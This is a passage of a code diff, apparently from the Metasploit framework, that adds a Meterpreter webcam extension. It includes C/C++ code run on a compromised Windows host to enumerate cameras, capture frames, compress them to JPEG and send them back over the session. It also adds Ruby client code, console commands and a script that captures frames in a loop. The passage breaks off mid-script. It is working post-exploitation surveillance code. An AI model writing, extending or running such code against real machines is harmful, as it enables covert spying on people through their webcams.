bmp_source_ptr; + +typedef struct _bmp_source_struct { + struct cjpeg_source_struct pub; /* public fields */ + + j_compress_ptr cinfo; /* back link saves passing separate parm */ + + JSAMPARRAY colormap; /* BMP colormap (converted to my format) */ + + jvirt_sarray_ptr whole_image; /* Needed to reverse row order */ + JDIMENSION source_row; /* Current source row number */ + JDIMENSION row_width; /* Physical width of scanlines in file */ + + int bits_per_pixel; /* remembers 8- or 24-bit format */ +} bmp_source_struct; + + +// JPEG related functions +int ReadOK(bmp_source_ptr, char*, int); +int read_byte (bmp_source_ptr); +void read_colormap (bmp_source_ptr, int, int); +JDIMENSION get_8bit_row (j_compress_ptr, cjpeg_source_ptr); +JDIMENSION get_16bit_row (j_compress_ptr, cjpeg_source_ptr); +JDIMENSION get_24bit_row (j_compress_ptr, cjpeg_source_ptr); +JDIMENSION get_32bit_row (j_compress_ptr, cjpeg_source_ptr); +JDIMENSION preload_image (j_compress_ptr, cjpeg_source_ptr); +void start_input_bmp (j_compress_ptr, cjpeg_source_ptr); +void finish_input_bmp (j_compress_ptr, cjpeg_source_ptr); +cjpeg_source_ptr jinit_read_bmp (j_compress_ptr); + +// BMP-screenshot related functions +int bmp2jpeg(PBYTE buf, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size ); + +#endif diff --git a/external/source/meterpreter/source/extensions/webcam/main.c b/external/source/meterpreter/source/extensions/webcam/main.c new file mode 100644 index 0000000000..57460e3a30 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/main.c @@ -0,0 +1,88 @@ +/* + * This module implements webcam capture and mic recording features. + */ +#define _CRT_SECURE_NO_DEPRECATE 1 +#include "../../common/common.h" +#include "main.h" +//#include "audio.h" +#include "video.h" + + +#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h" +// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function +// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the +// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "../../ReflectiveDLLInjection/ReflectiveLoader.c" + +// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor + +// this sets the delay load hook function, see DelayLoadMetSrv.h +EnableDelayLoadMetSrv(); + +Command customCommands[] = +{ + // Video + { "webcam_list", + { request_webcam_list, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + { "webcam_start", + { request_webcam_start, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + { "webcam_get_frame", + { request_webcam_get_frame, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + { "webcam_stop", + { request_webcam_stop, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + // Audio +// { "webcam_audio_get_dev_audio", +// { request_audio_get_dev_audio, { 0 }, 0 }, +// { EMPTY_DISPATCH_HANDLER }, +// }, + + // Terminator + { NULL, + { EMPTY_DISPATCH_HANDLER }, + { EMPTY_DISPATCH_HANDLER }, + }, +}; + +/* + * Initialize the server extension + */ +DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +{ + DWORD index; + + hMetSrv = remote->hMetSrv; + + for (index = 0; + customCommands[index].method; + index++) + command_register(&customCommands[index]); + + return ERROR_SUCCESS; +} + +/* + * Deinitialize the server extension + */ +DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +{ + DWORD index; + + for (index = 0; + customCommands[index].method; + index++) + command_deregister(&customCommands[index]); + + return ERROR_SUCCESS; +} \ No newline at end of file diff --git a/external/source/meterpreter/source/extensions/webcam/main.h b/external/source/meterpreter/source/extensions/webcam/main.h new file mode 100644 index 0000000000..457216dce1 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/main.h @@ -0,0 +1,36 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_WEBCAM_H +#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_WEBCAM_H + +#define TLV_TYPE_EXTENSION_WEBCAM 0 + +#define TLV_TYPE_WEBCAM_IMAGE \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 1) + +#define TLV_TYPE_WEBCAM_INTERFACE_ID \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 2) + +#define TLV_TYPE_WEBCAM_QUALITY \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 3) + +#define TLV_TYPE_WEBCAM_NAME \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 4) + +#define TLV_TYPE_WEBCAM_SOUND \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 5) + +#endif diff --git a/external/source/meterpreter/source/extensions/webcam/video.cpp b/external/source/meterpreter/source/extensions/webcam/video.cpp new file mode 100644 index 0000000000..7bdea54d13 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/video.cpp @@ -0,0 +1,422 @@ +//This software is based on Touchless, which is released under the Microsoft Public License (Ms-PL) +#define WIN32_LEAN_AND_MEAN +#include +#include +#pragma comment(lib, "strmiids") +extern "C" { +#include "../../common/common.h" +#include "main.h" +#include "video.h" +#include "bmp2jpeg.h" +} + +//Required interface stuff - bad hack for qedit.h not being present/compatible with later windows versions +interface ISampleGrabberCB : public IUnknown { + virtual STDMETHODIMP SampleCB( double SampleTime, IMediaSample *pSample ) = 0; + virtual STDMETHODIMP BufferCB( double SampleTime, BYTE *pBuffer, long BufferLen ) = 0; +}; +static const IID IID_ISampleGrabberCB = { 0x0579154A, 0x2B53, 0x4994, { 0xB0, 0xD0, 0xE7, 0x73, 0x14, 0x8E, 0xFF, 0x85 } }; +interface ISampleGrabber : public IUnknown { + virtual HRESULT STDMETHODCALLTYPE SetOneShot( BOOL OneShot ) = 0; + virtual HRESULT STDMETHODCALLTYPE SetMediaType( const AM_MEDIA_TYPE *pType ) = 0; + virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType( AM_MEDIA_TYPE *pType ) = 0; + virtual HRESULT STDMETHODCALLTYPE SetBufferSamples( BOOL BufferThem ) = 0; + virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer( long *pBufferSize, long *pBuffer ) = 0; + virtual HRESULT STDMETHODCALLTYPE GetCurrentSample( IMediaSample **ppSample ) = 0; + virtual HRESULT STDMETHODCALLTYPE SetCallback( ISampleGrabberCB *pCallback, long WhichMethodToCallback ) = 0; +}; +static const IID IID_ISampleGrabber = { 0x6B652FFF, 0x11FE, 0x4fce, { 0x92, 0xAD, 0x02, 0x66, 0xB5, 0xD7, 0xC7, 0x8F } }; +static const CLSID CLSID_SampleGrabber = { 0xC1F400A0, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } }; +static const CLSID CLSID_NullRenderer = { 0xC1F400A4, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } }; + +//Handle used for synchronization. Main thread waits for capture event to be signalled to clean up +HANDLE writeEvent; + +//Store width/height of captured frame +int nWidth; +int nHeight; +bool running = false; + +//Capture variables +#define MAX_CAMERAS 10 +IGraphBuilder* g_pGraphBuilder = NULL; +IMediaControl* g_pMediaControl = NULL; +ICaptureGraphBuilder2* g_pCaptureGraphBuilder = NULL; +IBaseFilter* g_pIBaseFilterCam = NULL; +IBaseFilter* g_pIBaseFilterSampleGrabber = NULL; +IBaseFilter* g_pIBaseFilterNullRenderer = NULL; + +PBYTE imgdata = NULL; +UINT imgsize = 0; +UINT bmpsize = 0; +PBYTE bmpdata = NULL; + +// SampleGrabber callback interface +class MySampleGrabberCB : public ISampleGrabberCB{ +public: + MySampleGrabberCB(){ + m_nRefCount = 0; + } + virtual HRESULT STDMETHODCALLTYPE SampleCB( + double SampleTime, + IMediaSample *pSample){ + return E_FAIL; + } + virtual HRESULT STDMETHODCALLTYPE BufferCB( + double SampleTime, + BYTE *pBuffer, + long BufferLen) { + if (imgdata == NULL || imgsize < BufferLen){ + imgsize = BufferLen; + if(imgdata != NULL) + free(imgdata); + imgdata = (PBYTE)malloc(imgsize); + } + memcpy(imgdata,pBuffer,imgsize); + SetEvent(writeEvent); //Notify of new frame + return S_OK; + } + virtual HRESULT STDMETHODCALLTYPE QueryInterface( + REFIID riid, + void **ppvObject) { + return E_FAIL; // Not a very accurate implementation + } + virtual ULONG STDMETHODCALLTYPE AddRef(){ + return ++m_nRefCount; + } + virtual ULONG STDMETHODCALLTYPE Release(){ + int n = --m_nRefCount; + if (n <= 0) + delete this; + return n; + } +private: + int m_nRefCount; +}; + +extern "C" { +// lists webcams +DWORD request_webcam_list(Remote *remote, Packet *packet){ + Packet *response = packet_create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + + do{ + IEnumMoniker* pclassEnum = NULL; + ICreateDevEnum* pdevEnum = NULL; + + CoInitialize(NULL); + HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, + NULL, + CLSCTX_INPROC, + IID_ICreateDevEnum, + (LPVOID*)&pdevEnum); + + if (SUCCEEDED(hr)) + hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); + + if (pdevEnum != NULL){ + pdevEnum->Release(); + pdevEnum = NULL; + } + int nCount = 0; + IUnknown* pUnk = NULL; + if (pclassEnum == NULL) + break;// Error! + + IMoniker* apIMoniker[1]; + ULONG ulCount = 0; + while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){ + IPropertyBag *pPropBag; + hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pPropBag); + if (SUCCEEDED(hr)) { + // To retrieve the filter's friendly name, do the following: + VARIANT varName; + VariantInit(&varName); + hr = pPropBag->Read(L"FriendlyName", &varName, 0); + //get chars from wchars + size_t converted; + char charbuf[512]; + wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf)); + if (SUCCEEDED(hr) && varName.vt == VT_BSTR) + packet_add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf); + VariantClear(&varName); + pPropBag->Release(); + } + nCount++; + } + pclassEnum->Release(); + if(pUnk == NULL) + break;// No webcam! + } while (0); + + dwResult = GetLastError(); + packet_transmit_response(dwResult, remote, response); + return dwResult; +} + +// Starts webcam +DWORD request_webcam_start(Remote *remote, Packet *packet){ + Packet *response = packet_create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + UINT index = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID); + + do { + if(running) + BREAK_WITH_ERROR("Already running!", ERROR_SERVICE_ALREADY_RUNNING) + IEnumMoniker* pclassEnum = NULL; + ICreateDevEnum* pdevEnum = NULL; + if(index < 1) + BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND) + CoInitialize(NULL); + HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, + NULL, + CLSCTX_INPROC, + IID_ICreateDevEnum, + (LPVOID*)&pdevEnum); + if (FAILED(hr)) + BREAK_WITH_ERROR("No webcams found", hr) + + hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); + + if (pdevEnum != NULL){ + pdevEnum->Release(); + pdevEnum = NULL; + } + UINT nCount = 0; + IUnknown* pUnk = NULL; + if (pclassEnum == NULL) + break;// Error! + IMoniker* apIMoniker[1]; + ULONG ulCount = 0; + while (SUCCEEDED(hr) && nCount < index && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){ + pUnk = apIMoniker[0]; + nCount++; + } + pclassEnum->Release(); + if(pUnk == NULL) + BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND) + IMoniker *pMoniker = NULL; + + // Grab the moniker interface + hr = pUnk->QueryInterface(IID_IMoniker, (LPVOID*)&pMoniker); + if (FAILED(hr)) + BREAK_WITH_ERROR("Query interface failed", hr) + + // Build all the necessary interfaces to start the capture + hr = CoCreateInstance(CLSID_FilterGraph, + NULL, + CLSCTX_INPROC, + IID_IGraphBuilder, + (LPVOID*)&g_pGraphBuilder); + if (FAILED(hr)) + BREAK_WITH_ERROR("Filter graph creation failed", hr) + + hr = g_pGraphBuilder->QueryInterface(IID_IMediaControl, (LPVOID*)&g_pMediaControl); + if (FAILED(hr)) + BREAK_WITH_ERROR("Query interface failed", hr) + + hr = CoCreateInstance(CLSID_CaptureGraphBuilder2, + NULL, + CLSCTX_INPROC, + IID_ICaptureGraphBuilder2, + (LPVOID*)&g_pCaptureGraphBuilder); + if (FAILED(hr)) + BREAK_WITH_ERROR("Capture Graph Builder failed", hr) + + // Setup the filter graph + hr = g_pCaptureGraphBuilder->SetFiltergraph(g_pGraphBuilder); + if (FAILED(hr)) + BREAK_WITH_ERROR("Set filter graph failed", hr) + // Build the camera from the moniker + hr = pMoniker->BindToObject(NULL, NULL, IID_IBaseFilter, (LPVOID*)&g_pIBaseFilterCam); + if (FAILED(hr)) + BREAK_WITH_ERROR("Bind to object failed", hr) + // Add the camera to the filter graph + hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterCam, L"WebCam"); + if (FAILED(hr)) + BREAK_WITH_ERROR("Add filter failed", hr) + // Create a SampleGrabber + hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterSampleGrabber); + if (FAILED(hr)) + BREAK_WITH_ERROR("Create sample grabber failed", hr) + // Configure the Sample Grabber + ISampleGrabber *pGrabber = NULL; + hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (void**)&pGrabber); + if (SUCCEEDED(hr)){ + AM_MEDIA_TYPE mt; + ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE)); + mt.majortype = MEDIATYPE_Video; + mt.subtype = MEDIASUBTYPE_RGB24; + mt.formattype = FORMAT_VideoInfo; + hr = pGrabber->SetMediaType(&mt); + } + if (SUCCEEDED(hr)){ + MySampleGrabberCB* msg = new MySampleGrabberCB(); + hr = pGrabber->SetCallback(msg, 1); + } + if (pGrabber != NULL){ + pGrabber->Release(); + pGrabber = NULL; + } + if (FAILED(hr)) + BREAK_WITH_ERROR("Sample grabber instantiation failed", hr) + + // Add Sample Grabber to the filter graph + hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterSampleGrabber, L"SampleGrabber"); + if (FAILED(hr)) + BREAK_WITH_ERROR("Add Sample Grabber to the filter graph failed", hr) + // Create the NullRender + hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterNullRenderer); + if (FAILED(hr)) + BREAK_WITH_ERROR("Create the NullRender failed", hr) + // Add the Null Render to the filter graph + hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterNullRenderer, L"NullRenderer"); + if (FAILED(hr)) + BREAK_WITH_ERROR("Add the Null Render to the filter graph failed", hr) + // Configure the render stream + hr = g_pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video, g_pIBaseFilterCam, + g_pIBaseFilterSampleGrabber, g_pIBaseFilterNullRenderer); + if (FAILED(hr)) + BREAK_WITH_ERROR("Configure the render stream failed", hr) + // Grab the capture width and height + hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (LPVOID*)&pGrabber); + if (FAILED(hr)) + BREAK_WITH_ERROR("Querying interface failed", hr) + AM_MEDIA_TYPE mt; + hr = pGrabber->GetConnectedMediaType(&mt); + if (FAILED(hr)) + BREAK_WITH_ERROR("GetConnectedMediaType failed", hr) + VIDEOINFOHEADER *pVih; + if ((mt.formattype == FORMAT_VideoInfo) && + (mt.cbFormat >= sizeof(VIDEOINFOHEADER)) && + (mt.pbFormat != NULL) ) { + pVih = (VIDEOINFOHEADER*)mt.pbFormat; + nWidth = pVih->bmiHeader.biWidth; + nHeight = pVih->bmiHeader.biHeight; + }else{ + BREAK_WITH_ERROR("Wrong format type", hr) // Wrong format + } + if (pGrabber != NULL){ + pGrabber->Release(); + pGrabber = NULL; + } + + //Sync: set up semaphore + writeEvent = CreateEvent( + NULL, // default security attributes + FALSE, // auto-reset event + FALSE, // initial state is nonsignaled + NULL); // no object name + + // Start the capture + if (FAILED(hr)) + BREAK_WITH_ERROR("CreateEvent failed", hr) + hr = g_pMediaControl->Run(); + if (FAILED(hr)) + BREAK_WITH_ERROR("Running capture failed", hr) + + // Cleanup + if (pMoniker != NULL){ + pMoniker->Release(); + pMoniker = NULL; + } + + //Now we wait for first frame + if(WaitForSingleObject (writeEvent, 30000) == WAIT_TIMEOUT) + BREAK_WITH_ERROR("timeout!", WAIT_TIMEOUT); + running = true; + dwResult = GetLastError(); + } while (0); + + packet_transmit_response(dwResult, remote, response); + return dwResult; +} + +// Gets image from running webcam +DWORD request_webcam_get_frame(Remote *remote, Packet *packet){ + Packet *response = packet_create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + UINT quality = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY); + + //Make bmp + BITMAPFILEHEADER bfh; + bfh.bfType = 0x4d42; // always "BM" + bfh.bfSize = sizeof( BITMAPFILEHEADER ); + bfh.bfReserved1 = 0; + bfh.bfReserved2 = 0; + bfh.bfOffBits = (DWORD) (sizeof( bfh ) + sizeof(BITMAPINFOHEADER)); + + BITMAPINFOHEADER bih; + bih.biSize = sizeof(BITMAPINFOHEADER); + bih.biWidth = nWidth; + bih.biHeight = nHeight; + bih.biPlanes = 1; + bih.biBitCount = 24; + bih.biCompression = BI_RGB; + bih.biSizeImage = imgsize; + bih.biXPelsPerMeter = 0; + bih.biYPelsPerMeter = 0; + bih.biClrUsed = 0; + bih.biClrImportant = 0; + + UINT mybmpsize = imgsize + sizeof(bfh) + sizeof(bih); + if(bmpsize < mybmpsize){ + bmpsize = mybmpsize; + if(bmpdata != NULL) + delete [] bmpdata; + bmpdata = new BYTE[bmpsize]; + } + + // put headers together to make a .bmp in memory + memcpy(bmpdata, &bfh, sizeof(bfh)); + memcpy(bmpdata + sizeof(bfh), &bih, sizeof(bih)); + memcpy(bmpdata + sizeof(bfh) + sizeof(bih), imgdata, imgsize); + + // Now convert to JPEG + DWORD jpgsize = 0; + PBYTE jpgarray = NULL; //shouldn't be bigger, right? + bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize ); + + //And send + packet_add_tlv_raw(response, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize); + packet_transmit_response(dwResult, remote, response); + return dwResult; +} + +// Stops running webcam +DWORD request_webcam_stop(Remote *remote, Packet *packet){ + Packet *response = packet_create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + + running = false; + if (g_pMediaControl != NULL){ + g_pMediaControl->Stop(); + g_pMediaControl->Release(); + g_pMediaControl = NULL; + } + if (g_pIBaseFilterNullRenderer != NULL){ + g_pIBaseFilterNullRenderer->Release(); + g_pIBaseFilterNullRenderer = NULL; + } + if (g_pIBaseFilterSampleGrabber != NULL){ + g_pIBaseFilterSampleGrabber->Release(); + g_pIBaseFilterSampleGrabber = NULL; + } + if (g_pIBaseFilterCam != NULL){ + g_pIBaseFilterCam->Release(); + g_pIBaseFilterCam = NULL; + } + if (g_pGraphBuilder != NULL){ + g_pGraphBuilder->Release(); + g_pGraphBuilder = NULL; + } + if (g_pCaptureGraphBuilder != NULL){ + g_pCaptureGraphBuilder->Release(); + g_pCaptureGraphBuilder = NULL; + } + + packet_transmit_response(dwResult, remote, response); + return dwResult; +} + +} diff --git a/external/source/meterpreter/source/extensions/webcam/video.h b/external/source/meterpreter/source/extensions/webcam/video.h new file mode 100644 index 0000000000..d235a12779 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/video.h @@ -0,0 +1,7 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H +#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H +DWORD request_webcam_list(Remote *remote, Packet *packet); +DWORD request_webcam_start(Remote *remote, Packet *packet); +DWORD request_webcam_get_frame(Remote *remote, Packet *packet); +DWORD request_webcam_stop(Remote *remote, Packet *packet); +#endif diff --git a/external/source/meterpreter/workspace/ext_server_webcam/ext_server_webcam.vcproj b/external/source/meterpreter/workspace/ext_server_webcam/ext_server_webcam.vcproj new file mode 100644 index 0000000000..b9857eaa90 --- /dev/null +++ b/external/source/meterpreter/workspace/ext_server_webcam/ext_server_webcam.vcproj @@ -0,0 +1,398 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/meterpreter/workspace/meterpreter.sln b/external/source/meterpreter/workspace/meterpreter.sln index 4427529717..841e40e943 100644 --- a/external/source/meterpreter/workspace/meterpreter.sln +++ b/external/source/meterpreter/workspace/meterpreter.sln @@ -67,6 +67,12 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "screenshot", "screenshot\sc {72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D} EndProjectSection EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_webcam", "ext_server_webcam\ext_server_webcam.vcproj", "{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}" + ProjectSection(ProjectDependencies) = postProject + {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} = {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} + {72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D} + EndProjectSection +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 @@ -168,6 +174,12 @@ Global {09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.Build.0 = Release|Win32 {09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.ActiveCfg = Release|x64 {09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.Build.0 = Release|x64 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|Win32.ActiveCfg = Debug|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|Win32.Build.0 = Debug|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|x64.ActiveCfg = Debug|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|Win32.ActiveCfg = Release|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|Win32.Build.0 = Release|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|x64.ActiveCfg = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/lib/rex/post/meterpreter/extensions/webcam/tlv.rb b/lib/rex/post/meterpreter/extensions/webcam/tlv.rb new file mode 100644 index 0000000000..2e19e77a6a --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/webcam/tlv.rb @@ -0,0 +1,17 @@ +module Rex +module Post +module Meterpreter +module Extensions +module Webcam + +TLV_TYPE_WEBCAM_IMAGE = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 1) +TLV_TYPE_WEBCAM_INTERFACE_ID = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 2) +TLV_TYPE_WEBCAM_QUALITY = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 3) +TLV_TYPE_WEBCAM_NAME = TLV_META_TYPE_STRING| (TLV_EXTENSIONS + 4) +TLV_TYPE_WEBCAM_SOUND = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 5) + +end +end +end +end +end \ No newline at end of file diff --git a/lib/rex/post/meterpreter/extensions/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/webcam/webcam.rb new file mode 100644 index 0000000000..ec822b59e4 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/webcam/webcam.rb @@ -0,0 +1,61 @@ +#!/usr/bin/env ruby + +require 'rex/post/meterpreter/extensions/webcam/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Webcam + +### +# +# This meterpreter extension can list and capture from webcams +# +### +class Webcam < Extension + + + def initialize(client) + super(client, 'webcam') + + client.register_extension_aliases( + [ + { + 'name' => 'webcam', + 'ext' => self + }, + ]) + end + + def webcam_list + response = client.send_request(Packet.create_request('webcam_list')) + names = [] + response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv| + names << tlv.value + } + names + end + + def webcam_start(cam) + request = Packet.create_request('webcam_start') + request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam) + client.send_request(request) + true + end + + def webcam_get_frame(quality) + request = Packet.create_request('webcam_get_frame') + request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) + response = client.send_request(request) + response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value + end + + def webcam_stop + client.send_request( Packet.create_request( 'webcam_stop' ) ) + true + end + +end + +end; end; end; end; end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/webcam.rb new file mode 100644 index 0000000000..46f1ae773a --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/webcam.rb @@ -0,0 +1,106 @@ +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Webcam - Capture video from the remote system +# +### +class Console::CommandDispatcher::Webcam + + Klass = Console::CommandDispatcher::Webcam + + include Console::CommandDispatcher + + # + # Initializes an instance of the webcam command interaction. + # + def initialize(shell) + super + end + + # + # List of supported commands. + # + def commands + { + "webcam_list" => "List webcams", + "webcam_snap" => "Take a snapshot from the specified webcam" + } + end + + def cmd_webcam_list + client.webcam.webcam_list.each_with_index { |name, indx| + print_line("#{indx + 1}: #{name}") + } + return true + end + + def cmd_webcam_snap(*args) + path = Rex::Text.rand_text_alpha(8) + ".jpeg" + quality = 50 + view = true + index = 1 + + webcam_snap_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help Banner" ], + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ], + "-p" => [ true, "The JPEG image path (Default: '#{path}')" ], + "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] + ) + + webcam_snap_opts.parse( args ) { | opt, idx, val | + case opt + when "-h" + print_line( "Usage: webcam_snap [options]\n" ) + print_line( "Grab a frame from the specified webcam." ) + print_line( webcam_frame_opts.usage ) + return + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-p" + path = val + when "-v" + view = false if ( val =~ /^(f|n|0)/i ) + end + } + + print_line("[*] Starting...") + client.webcam.webcam_start(index) + data = client.webcam.webcam_get_frame(quality) + print_line("[*] Got frame") + client.webcam.webcam_stop + print_line("[*] Stopped") + + if( data ) + ::File.open( path, 'wb' ) do |fd| + fd.write( data ) + end + path = ::File.expand_path( path ) + print_line( "Webcam shot saved to: #{path}" ) + Rex::Compat.open_file( path ) if view + end + return true + end + + # + # Name for this dispatcher + # + def name + "Webcam" + end + +end + +end +end +end +end + diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb new file mode 100644 index 0000000000..0da1870515 --- /dev/null +++ b/scripts/meterpreter/webcam.rb @@ -0,0 +1,101 @@ +# $Id$ +# +# Simplify running webcam, whether grabbing a single frame or running +# a continous loop. + +@client = client +opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help menu" ], + "-f" => [ false, "Just grab single frame"], + "-l" => [ false, "Keep capturing in a loop (default)" ], + "-d" => [ true, "Loop delay interval (in ms, default 1000)" ], + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The JPEG image quality (Default: 50)" ], + "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ] +) + +folderpath = "." +single = false +quality = 50 +index = 1 +interval = 1000 +opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_line "webcam -- view webcam over session" + print_line(opts.usage) + raise Rex::Script::Completed + when "-f" + single = true + when "-l" + single = false + when "-d" + interval = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-p" + folderpath = val + end +} + +if !(client.platform =~ /win32|win64/) + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed +end +begin + if not client.ext.aliases.include?( "webcam" ) + print_status("Loading webcam extension") + @client.console.run_single("use webcam") + #client.core.use( "webcam" ) + end + camlist = client.webcam.webcam_list + if camlist.length == 0 + print_error("Error: no webcams found!") + raise Rex::Script::Completed + elsif camlist.length < index + print_error("Error: only #{camlist.length} webcams found!") + raise Rex::Script::Completed + end + print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}") + client.webcam.webcam_start(index) + imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" + htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" + begin + if single == true + data = client.webcam.webcam_get_frame(quality) + if( data ) + ::File.open( imagepath, 'wb' ) do |fd| 